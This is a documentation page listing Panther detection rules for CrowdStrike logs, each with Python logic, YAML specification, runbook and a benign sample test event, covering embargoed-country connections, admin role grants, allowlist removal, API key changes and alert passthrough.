Detection rules › Panther

Panther rules: crowdstrike

Connection to Embargoed Country

#
Severity
low
Entities
ip_addresses
Log types
Crowdstrike.FDREvent
Reference
U.S. Sanctioned Destinations - https://www.bis.doc.gov/index.php/policy-guidance/country-guidance/sanctioned-destinations
Source
github.com/panther-labs/panther-analysis

Detection to alert when internal asset is communicating with an sanctioned destination. This detection leverages Panther UDM and IPInfo enrichment.

Detection logic

from panther_crowdstrike_fdr_helpers import crowdstrike_network_detection_alert_context

# U.S. Gov Sanctioned Destinations
EMBARGO_COUNTRY_CODES = {
    "CU",  # Cuba
    "IR",  # Iran
    "KP",  # DPRK
    "SY",  # Syria
}


def get_enrichment_obj(event):
    return event.deep_get("p_enrichment", "ipinfo_location", "p_any_ip_addresses", default=None)


def rule(event):
    enrichment_obj = get_enrichment_obj(event)
    # enrichment_object returns a list.
    # Iterate over list and check if the "country" value matches the country codes.
    if enrichment_obj:
        for i in enrichment_obj:
            if i.get("country") in EMBARGO_COUNTRY_CODES:
                return True
    return False


def title(event):
    enrichment_obj = get_enrichment_obj(event)
    country_codes = set(
        i.get("country") for i in enrichment_obj if i.get("country") in EMBARGO_COUNTRY_CODES
    )

    return f"Connection made to embargoed country: [{country_codes}]."


def alert_context(event):
    if event.get("p_log_type") == "Crowdstrike.FDREvent":
        return crowdstrike_network_detection_alert_context(event) | {
            "p_any_ip_addresses": event.get("p_any_ip_addresses")
        }

    return {"p_any_ip_addresses": event.get("p_any_ip_addresses")}

Rule specification

AnalysisType: rule
Description: "Detection to alert when internal asset is communicating with an sanctioned destination. This detection leverages Panther UDM and IPInfo enrichment."
Reference: "U.S. Sanctioned Destinations - https://www.bis.doc.gov/index.php/policy-guidance/country-guidance/sanctioned-destinations"
DisplayName: "Connection to Embargoed Country"
Enabled: true
DedupPeriodMinutes: 60
LogTypes:
  - Crowdstrike.FDREvent
RuleID: "Connection.to.Embargoed.Country"
Threshold: 1
Filename: crowdstrike_connection_to_embargoed_country.py
Severity: Low

Stages and Predicates

Fires on Crowdstrike.FDREvent events when all of the conditions below hold.

Condition

  • p_enrichment.ipinfo_location.p_any_ip_addresses is present
  • any element of p_enrichment.ipinfo_location.p_any_ip_addresses matches:
    • p_enrichment.ipinfo_location.p_any_ip_addresses.country is one of CU, IR, KP, SY

Indicators

These rows show field, operator, and value matches.

Output fields

Fields the rule emits when it matches, drawn from the rule's alert_context.

Field
p_any_ip_addresses

Worked example

A sample event from the rule's unit tests that triggers a match.

Sample Test Event
{
  "ConfigBuild": "1007.3.0016606.11",
  "ConfigStateHash": "1431649125",
  "ContextProcessId": "1685738",
  "ContextTimeStamp": "2023-04-28 18:49:37.731",
  "Entitlements": "15",
  "InContext": "0",
  "aid": "877761efa8db44d7redacted",
  "aip": "1.1.1.1",
  "cid": "cfe6986909644340redacted",
  "event": {
    "ConfigBuild": "1007.3.0016606.11",
    "ConfigStateHash": "1431649125",
    "ConnectionDirection": "0",
    "ConnectionFlags": "0",
    "ContextProcessId": "1685738",
    "ContextTimeStamp": "1682707777.731",
    "EffectiveTransmissionClass": "3",
    "Entitlements": "15",
    "EventOrigin": "1",
    "InContext": "0",
    "LocalAddressIP4": "10.0.0.1",
    "LocalPort": "137",
    "Protocol": "17",
    "RemoteAddressIP4": "152.206.0.1",
    "RemotePort": "443",
    "aid": "877761efa8db44d7redacted",
    "aip": "1.1.1.1",
    "cid": "cfe6986909644340redacted",
    "event_platform": "Win",
    "event_simpleName": "NetworkConnectIP4",
    "id": "34019b0c-c7de-4725-9f93-4b8d16688673",
    "name": "NetworkConnectIP4V12",
    "timestamp": "1682707778681"
  },
  "event_platform": "Win",
  "event_simpleName": "NetworkConnectIP4",
  "fdr_event_type": "NetworkConnectIP4",
  "id": "34019b0c-c7de-4725-9f93-4b8d16688673",
  "name": "NetworkConnectIP4V12",
  "p_any_ip_addresses": [
    "152.206.0.1",
    "10.0.0.1",
    "1.1.1.1"
  ],
  "p_enrichment": {
    "greynoise_riot_advanced": {
      "p_any_ip_addresses": [
        {
          "ip_cidr": "1.1.1.1/32",
          "provider": {
            "category": "public_dns",
            "description": "Cloudflare, Inc. is an American...",
            "explanation": "Public DNS services are used as...",
            "name": "Cloudflare Public DNS",
            "precedence": 0,
            "trust_level": "1"
          },
          "scan_time": "2023-04-28 21:11:03.820349735"
        }
      ]
    },
    "ipinfo_asn": {
      "p_any_ip_addresses": [
        {
          "asn": "AS27725",
          "domain": "etecsa.cu",
          "name": "Empresa de Telecomunicaciones de Cuba, S.A.",
          "route": "152.206.0.0/17",
          "type": "isp"
        },
        {
          "asn": "AS13335",
          "domain": "cloudflare.com",
          "name": "Cloudflare, Inc.",
          "route": "1.1.1.0/24",
          "type": "hosting"
        }
      ]
    },
    "ipinfo_location": {
      "p_any_ip_addresses": [
        {
          "city": "Matanzas",
          "country": "CU",
          "lat": "23.04111",
          "lng": "-81.5775",
          "postal_code": "",
          "region": "Matanzas Province",
          "region_code": "04",
          "timezone": "America/Havana"
        },
        {
          "city": "Los Angeles",
          "country": "US",
          "lat": "34.0522",
          "lng": "-118.2437",
          "postal_code": "90076",
          "region": "California",
          "region_code": "CA",
          "timezone": "America/Los_Angeles"
        }
      ]
    },
    "ipinfo_privacy": {
      "p_any_ip_addresses": [
        {
          "hosting": true,
          "proxy": false,
          "relay": false,
          "service": "",
          "tor": false,
          "vpn": false
        }
      ]
    }
  },
  "p_log_type": "Crowdstrike.FDREvent",
  "timestamp": "2023-04-28 18:49:38.681"
}

Crowdstrike Admin Role Assigned

#
Severity
medium
Log types
Crowdstrike.EventStreams
Source
github.com/panther-labs/panther-analysis

A user was assigned a priviledged role

MITRE ATT&CK coverage

Detection logic

from panther_crowdstrike_event_streams_helpers import audit_keys_dict, cs_alert_context

# List of priviledged roles.
# IMPORTANT: YOU MUST ADD ANY CUSTOM ADMIN ROLES YOURSELF
ADMIN_ROLES = {
    "billing_dashboard_admin",
    "falconhost_admin",
    "firewall_manager",
    "xdr_admin",  # NG SIEM Admin
    "remote_responder_three",  # Remote Responder Admin
}


def get_roles_assigned(event):
    """Returns a list of the roles assigned in this event."""
    # Extract the AuditKeyValues construct
    audit_keys = audit_keys_dict(event)
    # Return Roles
    return audit_keys.get("roles", "").split(",")


def rule(event):
    # Ignore non role-granting events
    if not all(
        [
            event.deep_get("event", "OperationName") == "grantUserRoles",
            event.deep_get("event", "Success"),
        ]
    ):
        return False

    # Raise alert if any of the admin roles were assigned
    roles_assigned = get_roles_assigned(event)
    return bool(ADMIN_ROLES & set(roles_assigned))


def title(event):
    audit_keys = audit_keys_dict(event)
    actor = audit_keys["actor_user"]
    target = audit_keys["target_name"]
    admin_roles = set(get_roles_assigned(event)) & ADMIN_ROLES
    return f"{actor} assigned admin roles to {target}: {', '.join(list(admin_roles))}"


def dedup(event):
    # The title includes the role names, but if the actor assigned more roles to the user, we
    #   dedup those alerts as well.
    audit_keys = audit_keys_dict(event)
    actor = audit_keys["actor_user"]
    target = audit_keys["target_name"]
    return f"{actor}-{target}"


def alert_context(event):
    context = cs_alert_context(event)
    actor = context.get("actor_user", "UNKNOWN_ACTOR")
    target = context.get("target_name", "UNKNOWN_TARGET")
    context["actor_target"] = f"{actor}-{target}"
    return context

Rule specification

AnalysisType: rule
Filename: crowdstrike_admin_role_assigned.py
RuleID: "Crowdstrike.AdminRoleAssigned"
DisplayName: "Crowdstrike Admin Role Assigned"
Enabled: true
LogTypes:
  - Crowdstrike.EventStreams
Severity: Medium
Reports:
  MITRE ATT&CK:
    - TA0003:T1098.003 # Persistence: Additional Cloud Roles
    - TA0004:T1098.003 # Priv Escalation: Additional Cloud Roles
Description: A user was assigned a priviledged role
DedupPeriodMinutes: 60
Threshold: 1
Runbook: Confirm the role assignment is justified.

Stages and Predicates

Fires on Crowdstrike.EventStreams events when all of the conditions below hold.

Condition

  • event.OperationName is grantUserRoles
  • event.Success is present

This rule also runs imperative logic the parser cannot express as a filter. The conditions above are the structured part it could extract.

Indicators

These rows show field, operator, and value matches.

Response runbook

Confirm the role assignment is justified.

Worked example

A sample event from the rule's unit tests that triggers a match.

Sample Test Event
{
  "event": {
    "AuditKeyValues": [
      {
        "Key": "target_name",
        "ValueString": "merry.brandybuck@hobbiton.co"
      },
      {
        "Key": "target_user_uuid",
        "ValueString": "e70e5306-4a83-4a9f-9b59-a78c304c438b"
      },
      {
        "Key": "target_cid",
        "ValueString": "fake_customer_id"
      },
      {
        "Key": "roles",
        "ValueString": "billing_dashboard_admin"
      },
      {
        "Key": "actor_cid",
        "ValueString": "fake_customer_id"
      },
      {
        "Key": "trace_id",
        "ValueString": "897d300ad09137b362ee6a62846a9277"
      },
      {
        "Key": "actor_user",
        "ValueString": "peregrin.took@hobbiton.co"
      },
      {
        "Key": "actor_user_uuid",
        "ValueString": "e70e5306-4a83-4a9f-9b59-a78c304c438b"
      }
    ],
    "OperationName": "grantUserRoles",
    "ServiceName": "Crowdstrike Authentication",
    "Success": true,
    "UTCTimestamp": "2024-07-22 21:32:49.000000000",
    "UserId": "peregrin.took@hobbiton.co",
    "UserIp": "1.1.1.1"
  },
  "metadata": {
    "customerIDString": "fake_customer_id",
    "eventCreationTime": "2024-07-22 21:32:49.531000000",
    "eventType": "AuthActivityAuditEvent",
    "offset": 342905,
    "version": "1.0"
  }
}

Crowdstrike Allowlist Removed

#
Severity
medium
Group by
event.UserId
Log types
Crowdstrike.EventStreams
Source
github.com/panther-labs/panther-analysis

A user deleted an allowlist

MITRE ATT&CK coverage

TacticTechniques
Impact

Detection logic

from panther_crowdstrike_event_streams_helpers import audit_keys_dict, cs_alert_context


def rule(event):
    # Return True if allowlist is deleted
    if event.deep_get("event", "OperationName") == "DeleteAllowlistGroup":
        return True

    # Return True if allowlist is disabled
    if event.deep_get("event", "OperationName") == "UpdateAllowlistGroup":
        audit_keys = audit_keys_dict(event)
        return audit_keys.get("active") == "false" and audit_keys.get("old_active") == "true"

    return False


def title(event):
    actor = event.deep_get("event", "UserId")
    audit_keys = audit_keys_dict(event)
    list_name = audit_keys.get("group_name", "UNKNOWN_GROUP")

    verb = {"DeleteAllowlistGroup": "deleted", "UpdateAllowlistGroup": "disabled"}.get(
        event.deep_get("event", "OperationName"), "removed"
    )

    return f'{actor} {verb} IP allowlist "{list_name}"'


def dedup(event):
    # We wanna group alerts if a user disables, then deletes the same allowlist
    actor = event.deep_get("event", "UserId")
    audit_keys = audit_keys_dict(event)
    list_name = audit_keys.get("group_name", "UNKNOWN_GROUP")
    return f"{actor}-{list_name}"


def alert_context(event):
    return cs_alert_context(event)


def severity(event):
    # Downgrade severity if a disabled allowlist was deleted
    if all(
        [
            event.deep_get("event", "OperationName") == "DeleteAllowlistGroup",
            audit_keys_dict(event).get("enabled") == "false",
        ]
    ):
        return "INFO"
    return "DEFAULT"

Rule specification

AnalysisType: rule
Filename: crowdstrike_allowlist_removed.py
RuleID: "Crowdstrike.AllowlistRemoved"
DisplayName: "Crowdstrike Allowlist Removed"
Enabled: true
LogTypes:
  - Crowdstrike.EventStreams
Severity: Medium
Reports:
  MITRE ATT&CK:
    - TA0040:T1531 # Account Access removal
Description: A user deleted an allowlist
DedupPeriodMinutes: 60
Threshold: 1
Runbook: Confirm if the deleted allowlist is needed.

Stages and Predicates

Fires on Crowdstrike.EventStreams events when any of the conditions below holds.

Condition

  • any of:
    • event.OperationName is DeleteAllowlistGroup
    • event.OperationName is UpdateAllowlistGroup

This rule also runs imperative logic the parser cannot express as a filter. The conditions above are the structured part it could extract.

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
event.OperationNameeq
  • DeleteAllowlistGroup
  • UpdateAllowlistGroup
field:"event.OperationName" kind:eq

Output fields

Fields the rule emits when it matches, drawn from the rule's alert_context.

FieldSource
UserIdevent.UserId

Response runbook

Confirm if the deleted allowlist is needed.

Worked example

A sample event from the rule's unit tests that triggers a match.

Sample Test Event
{
  "event": {
    "AuditKeyValues": [
      {
        "Key": "cidrs",
        "ValueString": "[0.0.0.0/8]"
      },
      {
        "Key": "contexts",
        "ValueString": "[API]"
      },
      {
        "Key": "active",
        "ValueString": "true"
      },
      {
        "Key": "allowlist_group_id",
        "ValueString": "782f842e-98dd-4ee7-9793-33abf8647656"
      },
      {
        "Key": "group_name",
        "ValueString": "my_allow_list"
      },
      {
        "Key": "description",
        "ValueString": ""
      }
    ],
    "OperationName": "DeleteAllowlistGroup",
    "ServiceName": "Crowdstrike Allowlist Management",
    "Success": true,
    "UTCTimestamp": "2024-07-26 19:43:35.000000000",
    "UserId": "wormtongue@isengard.org",
    "UserIp": "1.2.3.4"
  },
  "metadata": {
    "customerIDString": "fake_customer_id",
    "eventCreationTime": "2024-07-26 19:43:35.082000000",
    "eventType": "AuthActivityAuditEvent",
    "offset": 366125,
    "version": "1.0"
  }
}

Crowdstrike API Key Created

#
Severity
medium
Log types
Crowdstrike.EventStreams
Source
github.com/panther-labs/panther-analysis

A user created an API Key in CrowdStrike

MITRE ATT&CK coverage

Detection logic

from panther_crowdstrike_event_streams_helpers import cs_alert_context


def rule(event):
    return all(
        [
            event.deep_get("event", "OperationName") == "CreateAPIClient",
            event.deep_get("event", "Success"),
        ]
    )


def title(event):
    user = event.deep_get("event", "UserId")
    service = event.deep_get("event", "ServiceName")
    return f"{user} created a new API key in {service}"


def alert_context(event):
    return cs_alert_context(event)

Rule specification

AnalysisType: rule
Filename: crowdstrike_api_key_created.py
RuleID: "Crowdstrike.API.Key.Created"
DisplayName: "Crowdstrike API Key Created"
Reports:
    MITRE ATT&CK:
        - TA0006:T1098.001 # Additional Cloud Credentials
Enabled: true
LogTypes:
  - Crowdstrike.EventStreams
Severity: Medium
Description: A user created an API Key in CrowdStrike
DedupPeriodMinutes: 60
Threshold: 1
Runbook: Reach out to the user if needed to validate the activity.

Stages and Predicates

Fires on Crowdstrike.EventStreams events when all of the conditions below hold.

Condition

  • event.OperationName is CreateAPIClient
  • event.Success is present

Indicators

These rows show field, operator, and value matches.

Output fields

Fields the rule emits when it matches, drawn from the rule's alert_context.

FieldSource
UserIdevent.UserId
ServiceNameevent.ServiceName

Response runbook

Reach out to the user if needed to validate the activity.

Worked example

A sample event from the rule's unit tests that triggers a match.

Sample Test Event
{
  "event": {
    "AuditKeyValues": [
      {
        "Key": "scope(s)",
        "ValueString": "alerts:read,api-integrations:read"
      },
      {
        "Key": "actor_user",
        "ValueString": "tester@panther.com"
      },
      {
        "Key": "actor_user_uuid",
        "ValueString": "a11a1111-1a11-1a1a-1a11-a11a111a111a"
      },
      {
        "Key": "actor_cid",
        "ValueString": "aaa111111111111111aaaaaa11a11a11"
      },
      {
        "Key": "trace_id",
        "ValueString": "1a111111-a1a1-111a-11aa-a111111a1a1a"
      },
      {
        "Key": "APIClientID",
        "ValueString": "aaa1a11aaa111a1a11a11aaaa1aa1a11"
      },
      {
        "Key": "id",
        "ValueString": "aaa1a11aaa111a1a11a11aaaa1aa1a11"
      },
      {
        "Key": "name",
        "ValueString": "key name"
      }
    ],
    "OperationName": "CreateAPIClient",
    "ServiceName": "Crowdstrike API Client",
    "Success": true,
    "UTCTimestamp": "2024-07-08 14:01:54.000000000",
    "UserId": "tester@panther.com",
    "UserIp": "11.1.111.11"
  },
  "metadata": {
    "customerIDString": "aaa111111111111111aaaaaa11a11a11",
    "eventCreationTime": "2024-07-08 14:01:54.451000000",
    "eventType": "AuthActivityAuditEvent",
    "offset": 111111,
    "version": "1.0"
  }
}

Crowdstrike API Key Deleted

#
Severity
medium
Log types
Crowdstrike.EventStreams
Source
github.com/panther-labs/panther-analysis

A user deleted an API Key in CrowdStrike

MITRE ATT&CK coverage

Detection logic

from panther_crowdstrike_event_streams_helpers import cs_alert_context


def rule(event):
    return all(
        [
            event.deep_get("event", "OperationName") == "DeleteAPIClients",
            event.deep_get("event", "Success"),
        ]
    )


def title(event):
    user = event.deep_get("event", "UserId")
    service = event.deep_get("event", "ServiceName")
    return f"{user} deleted an API key in {service}"


def alert_context(event):
    return cs_alert_context(event)

Rule specification

AnalysisType: rule
Filename: crowdstrike_api_key_deleted.py
RuleID: "Crowdstrike.API.Key.Deleted"
DisplayName: "Crowdstrike API Key Deleted"
Reports:
    MITRE ATT&CK:
        - TA0040:T1531 # Account Access Removal
        - TA0005:T1070 # Indicator Removal
Enabled: true
LogTypes:
  - Crowdstrike.EventStreams
Severity: Medium
Description: A user deleted an API Key in CrowdStrike
DedupPeriodMinutes: 60
Threshold: 1
Runbook: Validate this action was authorized.

Stages and Predicates

Fires on Crowdstrike.EventStreams events when all of the conditions below hold.

Condition

  • event.OperationName is DeleteAPIClients
  • event.Success is present

Indicators

These rows show field, operator, and value matches.

Output fields

Fields the rule emits when it matches, drawn from the rule's alert_context.

FieldSource
UserIdevent.UserId
ServiceNameevent.ServiceName

Response runbook

Validate this action was authorized.

Worked example

A sample event from the rule's unit tests that triggers a match.

Sample Test Event
{
  "event": {
    "AuditKeyValues": [
      {
        "Key": "scope(s)",
        "ValueString": "alerts:read,api-integrations:read"
      },
      {
        "Key": "actor_user",
        "ValueString": "tester@panther.com"
      },
      {
        "Key": "actor_user_uuid",
        "ValueString": "a11a1111-1a11-1a1a-1a11-a11a111a111a"
      },
      {
        "Key": "actor_cid",
        "ValueString": "aaa111111111111111aaaaaa11a11a11"
      },
      {
        "Key": "trace_id",
        "ValueString": "1a111111-a1a1-111a-11aa-a111111a1a1a"
      },
      {
        "Key": "APIClientID",
        "ValueString": "aaa1a11aaa111a1a11a11aaaa1aa1a11"
      },
      {
        "Key": "id",
        "ValueString": "aaa1a11aaa111a1a11a11aaaa1aa1a11"
      },
      {
        "Key": "name",
        "ValueString": "key name"
      }
    ],
    "OperationName": "DeleteAPIClients",
    "ServiceName": "Crowdstrike API Client",
    "Success": true,
    "UTCTimestamp": "2024-07-08 14:01:54.000000000",
    "UserId": "tester@panther.com",
    "UserIp": "11.1.111.11"
  },
  "metadata": {
    "customerIDString": "aaa111111111111111aaaaaa11a11a11",
    "eventCreationTime": "2024-07-08 14:01:54.451000000",
    "eventType": "AuthActivityAuditEvent",
    "offset": 111111,
    "version": "1.0"
  }
}

Crowdstrike Detection Passthrough

#
Severity
medium
Group by
CompositeId
Entities
domain_names, md5_hashes, sha1_hashes, sha256_hashes, trace_ids, usernames
Log types
Crowdstrike.DetectionSummary, Crowdstrike.FDREvent
Tags
Crowdstrike
Reference
www.crowdstrike.com
Source
github.com/panther-labs/panther-analysis

Crowdstrike Falcon has detected malicious activity on a host.

Detection logic

import uuid

from panther_crowdstrike_fdr_helpers import (
    crowdstrike_detection_alert_context,
    get_crowdstrike_field,
)


def rule(event):
    return (
        get_crowdstrike_field(event, "ExternalApiType", default="none")
        == "Event_EppDetectionSummaryEvent"
    )


def title(event):
    return (
        f"Crowdstrike Alert ({get_crowdstrike_field(event, 'Technique')}) - "
        + f"{get_crowdstrike_field(event, 'Hostname')}"
        + f"({get_crowdstrike_field(event, 'UserName')})"
    )


def alert_context(event):
    return crowdstrike_detection_alert_context(event)


def severity(event):
    # First, try returning the severity based on the SeverityName
    sevname = get_crowdstrike_field(event, "SeverityName").upper()
    allowed_values = ("INFO", "LOW", "MEDIUM", "HIGH", "CRITICAL")
    if sevname == "INFORMATIONAL":
        sevname = "INFO"
    if sevname in allowed_values:
        return sevname

    # Else, fallback on the numerical value, falling back on MEDIUM if we still don't have a value
    sevval = get_crowdstrike_field(event, "Severity")
    return {1: "INFO", 2: "LOW", 3: "MEDIUM", 4: "HIGH", 5: "CRITICAL", 6: "CRITICAL"}.get(
        sevval, "DEFAULT"
    )


def dedup(event):
    # CompositeId is unique per detection indicator and present in both
    # DetectionSummary and FDREvent formats. EventUUID is null in FDREvent,
    # which previously caused all detections to share the dedup key "None ".
    composite_id = get_crowdstrike_field(event, "CompositeId")
    if composite_id:
        return composite_id
    # Fallback: generate a unique ID so detections never silently merge
    return str(uuid.uuid4())

Rule specification

AnalysisType: rule
Filename: crowdstrike_detection_passthrough.py
RuleID: "Crowdstrike.Detection.passthrough"
DisplayName: "Crowdstrike Detection Passthrough"
Enabled: true
Severity: Medium
LogTypes:
  - Crowdstrike.DetectionSummary
  - Crowdstrike.FDREvent
Tags:
  - Crowdstrike
Description: Crowdstrike Falcon has detected malicious activity on a host.
Runbook: Follow the Falcon console link and follow the IR process as needed.
Reference: https://www.crowdstrike.com/blog/tech-center/hunt-threat-activity-falcon-endpoint-protection/
DedupPeriodMinutes: 60
SummaryAttributes:
  - p_any_ip_addresses

Stages and Predicates

Fires on Crowdstrike.DetectionSummary, Crowdstrike.FDREvent events when the condition below holds.

Condition

  • ExternalApiType is Event_EppDetectionSummaryEvent

Indicators

These rows show field, operator, and value matches.

Output fields

Fields the rule emits when it matches, drawn from the rule's alert_context.

FieldSource
aid
userUserName
console-linkFalconHostLink
commandlineCommandLine
parentcommandlineParentCommandLine
filenameFileName
filepathFilePath
descriptionDescription
actionPatternDispositionDescription
Technique
Hostname

Response runbook

Follow the Falcon console link and follow the IR process as needed.

Worked example

A sample event from the rule's unit tests that triggers a match.

Sample Test Event
{
  "AgentIdString": "00000000000000000000000000000000",
  "CommandLine": "/Applications/app.app/Contents/MacOS/pup app",
  "CompositeId": "00000000000000000000000000000000:ind:00000000006e49842267fc5837c4e2fc:222222222222222222-33333-444444",
  "CustomerIdString": "00000000006e49842267fc5837c4e2fc",
  "Description": "This file is classified as Adware/PUP based on its SHA256 hash.",
  "EventType": "Event_ExternalApiEvent",
  "EventUUID": "000000000034829cb7cd82035c444f38",
  "ExternalApiType": "Event_EppDetectionSummaryEvent",
  "FalconHostLink": "https://falcon.us-2.crowdstrike.com/activity/detections/detail/00000000000000000000000000000000/222222222222222222?",
  "FileName": "pup app",
  "FilePath": "/Applications/app.app/Contents/MacOS/",
  "GrandParentCommandLine": "/sbin/launchd",
  "GrandParentImageFileName": "/sbin/launchd",
  "Hostname": "macbook",
  "LocalIP": "1.1.1.1",
  "MACAddress": "aa-bb-cc-dd-5a-d2",
  "MD5String": "000000000034829cb7cd82035c444f38",
  "MachineDomain": "",
  "Name": "NGAV",
  "Nonce": 1,
  "Objective": "Falcon Detection Method",
  "OriginSourceIpAddress": "",
  "ParentCommandLine": "/usr/libexec/runningboardd",
  "ParentImageFileName": "/usr/libexec/runningboardd",
  "ParentProcessId": 376330001421757630,
  "PatternDispositionDescription": "Prevention/Quarantine, process was blocked from execution and quarantine was attempted.",
  "PatternDispositionFlags": "{\n  \"BlockingUnsupportedOrDisabled\": false,\n  \"BootupSafeguardEnabled\": false,\n  \"CriticalProcessDisabled\": false,\n  \"Detect\": false,\n  \"FsOperationBlocked\": false,\n  \"HandleOperationDowngraded\": false,\n  \"InddetMask\": false,\n  \"Indicator\": false,\n  \"KillActionFailed\": false,\n  \"KillParent\": false,\n  \"KillProcess\": false,\n  \"KillSubProcess\": false,\n  \"OperationBlocked\": false,\n  \"PolicyDisabled\": false,\n  \"ProcessBlocked\": true,\n  \"QuarantineFile\": true,\n  \"QuarantineMachine\": false,\n  \"RegistryOperationBlocked\": false,\n  \"Rooting\": false,\n  \"SensorOnly\": false,\n  \"SuspendParent\": false,\n  \"SuspendProcess\": false\n}",
  "PatternDispositionValue": 2176,
  "ProcessEndTime": "1970-01-01 00:00:00Z",
  "ProcessId": 377077835340488700,
  "ProcessStartTime": "2021-09-18 20:38:51Z",
  "SHA1String": "0000000000000000000000000000000000000000",
  "SHA256String": "00000000009d4244ff0eff80712145e92dfbdc1990483402aca903f70c020e60",
  "SensorId": "00000000000000000000000000000000",
  "Severity": 2,
  "SeverityName": "Low",
  "Tactic": "Malware",
  "Technique": "PUP",
  "UTCTimestamp": "2021-09-18 20:38:52Z",
  "UserName": "bobert",
  "cid": "00000000006e49842267fc5837c4e2fc",
  "eid": 118,
  "timestamp": "2021-09-18 20:38:52Z"
}

Crowdstrike Detection Summary

#

This is a third-party alert feed, not a detection over modeled telemetry. Another security product raised the finding; this rule forwards or reshapes it into the SIEM. It is searchable for reference but is excluded from the detection-rule browse and the ATT&CK coverage matrix.

Severity
medium
Log types
Crowdstrike.EventStreams
Tags
Crowdstrike, Passthrough
Source
github.com/panther-labs/panther-analysis

Forwards any alerts generated by CrowdStrike to your Panther destinations.

Detection logic

from panther_core import PantherEvent
from panther_crowdstrike_event_streams_helpers import cs_alert_context


def rule(event: PantherEvent):
    return event.deep_get("metadata", "eventType") == "EppDetectionSummaryEvent"


def title(event: PantherEvent):
    alert_title = event.deep_get("event", "Name", default="New CrowdStrike Detection")
    alert_desc = event.deep_get("event", "Description")
    return f"{alert_title}: {alert_desc}" if alert_desc else alert_title


def dedup(event: PantherEvent):
    if alert_id := event.deep_get("event", "CompositeId"):
        return alert_id
    # Else, fall back on title string
    return title(event)


def severity(event: PantherEvent):
    # First, try returning the severity based on the SeverityName
    sevname = str(event.deep_get("event", "SeverityName")).upper()
    allowed_values = ("INFO", "LOW", "MEDIUM", "HIGH", "CRITICAL")
    if sevname == "INFORMATIONAL":
        sevname = "INFO"
    if sevname in allowed_values:
        return sevname

    # Else, fallback on the numerical value, falling back on MEDIUM if we still don't have a value
    sevval = event.deep_get("event", "Severity") // 20
    return {0: "INFO", 1: "LOW", 2: "MEDIUM", 3: "HIGH", 4: "CRITICAL", 5: "CRITICAL"}.get(
        sevval, "DEFAULT"
    )


def reference(event: PantherEvent):
    return event.deep_get("event", "FalconHostLink", default="")


def alert_context(event: PantherEvent):
    context = cs_alert_context(event)
    context.update(
        {
            "FalconLink": event.deep_get("event", "FalconHostLink", default="<NO LINK PROVIDED>"),
            "CompositeId": event.deep_get("event", "CompositeId", default="<NO ID PROVIDED>"),
            "FileName": event.deep_get("event", "FileName", default="<NO FILENAME PROVIDED>"),
            "FilePath": event.deep_get("event", "FilePath", default="<NO FILEPATH PROVIDED>"),
            "UserName": event.deep_get("event", "UserName", default="<NO USERNAME PROVIDED>"),
        }
    )
    return context

Rule specification

AnalysisType: rule
Filename: crowdstrike_detection_summary.py
RuleID: "Crowdstrike.EppDetectionSummary"
DisplayName: "Crowdstrike Detection Summary"
Enabled: true
LogTypes:
  - Crowdstrike.EventStreams
Severity: Medium
Description: Forwards any alerts generated by CrowdStrike to your Panther destinations.
DedupPeriodMinutes: 60
Threshold: 1
Runbook: Followup with the alert according to CrowdStrike's recommendations.
Tags:
  - Crowdstrike
  - Passthrough

Stages and Predicates

Fires on Crowdstrike.EventStreams events when the condition below holds.

Condition

  • metadata.eventType is EppDetectionSummaryEvent

Indicators

These rows show field, operator, and value matches.

Output fields

Fields the rule emits when it matches, drawn from the rule's alert_context.

FieldSource
Descriptionevent.Description
Nameevent.Name

Response runbook

Followup with the alert according to CrowdStrike's recommendations.

Worked example

A sample event from the rule's unit tests that triggers a match.

Sample Test Event
{
  "event": {
    "CommandLine": "\"C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe\" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --string-annotations=is-enterprise-managed=no --field-trial-handle=3832,i,16271085821438557631,11283940248133486999,262144 --variations-seed-version --mojo-platform-channel-handle=3900 /prefetch:8",
    "CompositeId": "DETECTION ID",
    "Description": "A process has written a known EICAR test file. Review the files written by the triggered process.",
    "FalconHostLink": "https://falcon.us-2.crowdstrike.com/activity-v2/detections/DETECTION-ID?_cid=g04000rdir6xllkvfbjftn5dbo67ord4",
    "FileName": "msedge.exe",
    "FilePath": "\\Device\\HarddiskVolume1\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe",
    "GrandParentCommandLine": "C:\\Windows\\Explorer.EXE",
    "GrandParentImageFilename": "explorer.exe",
    "LocalIP": "2.2.2.2",
    "MACAddress": "AA-BB-CC-DD-71-7F",
    "MD5String": "000000000041c03beaa7ea3547b1940c",
    "Name": "Known Malware",
    "Objective": "Follow Through",
    "ParentCommandLine": "\"C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe\" --profile-directory=Default",
    "ParentImageFileName": "msedge.exe",
    "ParentProcessId": "90559720124",
    "PatternDispositionDescription": "Detection, standard detection.",
    "PatternDispositionFlags": {
      "BootupSafeguardEnabled": false,
      "CriticalProcessDisabled": false,
      "Detect": false,
      "FsOperationBlocked": false,
      "InddetMask": false,
      "Indicator": false,
      "KillParent": false,
      "KillProcess": false,
      "KillSubProcess": false,
      "OperationBlocked": false,
      "PolicyDisabled": false,
      "ProcessBlocked": false,
      "QuarantineFile": false,
      "QuarantineMachine": false,
      "RegistryOperationBlocked": false,
      "Rooting": false,
      "SensorOnly": false
    },
    "PatternDispositionValue": 0,
    "ProcessEndTime": "1970-01-01 00:00:00.000000000",
    "ProcessId": "90597916092",
    "ProcessStartTime": "2024-12-03 19:53:19.000000000",
    "SHA1String": "0000000000000000000000000000000000000000",
    "SHA256String": "0000000000f07f39b17d8c446e27aea75de9f98bea195501e20ed433a7a25469",
    "Severity": 10,
    "SeverityName": "Informational",
    "Tactic": "Execution",
    "Technique": "User Execution",
    "UserName": "Administrator"
  },
  "metadata": {
    "customerIDString": "CUST_ID",
    "eventCreationTime": "2024-12-03 19:54:30.000000000",
    "eventType": "EppDetectionSummaryEvent",
    "offset": 1201171,
    "version": "1.0"
  },
  "p_event_time": "2024-12-03 19:54:30.000000000",
  "p_log_type": "Crowdstrike.EventStreams",
  "p_parse_time": "2024-12-03 19:55:53.866056859"
}

Crowdstrike Ephemeral User Account

#
Severity
high
Time window
12h
Match by
p_alert_context.target_name
Source
github.com/panther-labs/panther-analysis

Detects when a user account is created and deleted within 12 hours. This aims to detect ephemeral user accounts infiltrators might use to avoid suspicion.

MITRE ATT&CK coverage

Rule specification

AnalysisType: correlation_rule
RuleID: "Crowdstrike.EphemeralUserAccount"
DisplayName: "Crowdstrike Ephemeral User Account"
